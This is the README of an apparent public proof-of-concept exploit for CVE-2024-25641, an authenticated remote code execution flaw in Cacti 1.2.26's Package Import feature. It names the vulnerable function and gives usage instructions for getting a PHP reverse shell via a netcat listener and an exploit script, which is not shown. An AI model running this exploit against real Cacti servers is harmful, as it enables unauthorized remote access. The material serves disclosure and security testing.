d3ext/cve-2024-25641Proof-of-concept exploit for CVE-2024-25641, an authenticated RCE in Cacti 1.2.26 via the Package Import feature, enabling arbitrary PHP code execution and reverse shell.
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
This repository contains a POC (Proof of Concept) of the CVE-2024-25641 vulnerability, which affects to Cacti 1.2.26 version. This vulnerability is exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the import_package() function defined into the /lib/import.php script. This exploit uses a PHP reverse shell which is triggered once the malicious plugin is uploaded.
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
Start a netcat listener and then execute the exploit like this:
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>
https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
This project is under MIT license
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